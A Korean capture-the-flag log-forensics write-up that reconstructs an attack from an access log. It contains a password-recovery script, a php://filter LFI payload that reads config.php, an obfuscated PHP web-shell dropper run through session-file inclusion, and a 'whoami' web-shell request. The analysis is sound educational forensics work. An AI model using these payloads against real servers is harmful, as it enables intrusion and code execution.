1 분 소요

문제

LEVEL 0

  • log 의 기록을 보고 admin 계정을 비밀번호를 찾아주면 된다.
  • 로그 분석 결과 500 에러(서버 에러)가 발생할 때 나오는 비교 정수 값을 char 로 변환해주면 된다.
f = open('./file/access.log')
keyword = 'HTTP/1.1" 500'
keyword2 = '))='

arr = []
while True:
    line = f.readline()
    if not line:
        print('end')
        break
    
    if keyword not in line:
        continue

    a = line.find(keyword2)
    if a == -1:
        continue
    line = line[a+len(keyword2):]

    l = line.find(',')

    arr.append(chr(int(line[:l])))
    # print(line[:l])
    
print(''.join(arr))

f.close()

LEVEL 1

  • config.php 파일을 추출해야 한다.
  • include 를 이용하여 파일을 추출하는 것을 확인할 수 있다.
/admin/?page=php://filter/convert.base64-encode/resource=../config.php

LEVEL 2

  • LFI(Local File Include) 취약점을 이용하여 서버의 php 코드를 실행하는 것을 확인할 수 있다.

  • 악성 php 코드 저장

172.17.0.1 - - [02/Jun/2020:09:55:16 +0000] "GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1" 200 1098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
  • 코드를 살펴본 결과 memo.php 에서 memo 파라미터로 들어오는 값을 session 에 저장하는 것을 확인할 수 있다.
  • session에 저장된 값을 불러오기 위해서 include 기능을 이용한 것을 확인할 수 있다.
  • 악성 코드가 서버에서 실행된다!
172.17.0.1 - - [02/Jun/2020:09:55:39 +0000] "GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1" 200 735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

LEVEL 3

  • 웹 쉘 코드가 저장된 위치를 알아내야 한다.
  • level2 에서 실행시킨 코드이다.
<?php 
function m($l,$T=0){
	$K=date('Y-m-d');
	$_=strlen($l);
	$__=strlen($K);
	for($i=0;$i<$_;$i++){
		for($j=0;$j<$__; $j++){
			if($T){
				$l[$i]=$K[$j]^$l[$i];
			}else{
				$l[$i]=$l[$i]^$K[$j];
			}
		}
	}
	return $l;
} 
m('bmha[tqp[gkjpajpw')(m('+rev+sss+lpih+qthke`w+miecaw*tlt'),m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?')); 
?>
  • 난독화 되어있는 것을 확인할 수 있다.
  • date('Y-m-d') 를 02/Jun/2020 즉 2020-06-02 로 바꾼 다음 php 로 실행시켜 주면 어떻게 웹 쉘 코드를 업로드 하였는지 출력되는 것을 확인할 수 있다.

LEVEL 4

  • 처음으로 실행된 명령어는 로그를 보면 바로 알 수 있다.
172.17.0.1 - - [02/Jun/2020:09:56:32 +0000] "GET /uploads/images.php?c=whoami HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

댓글남기기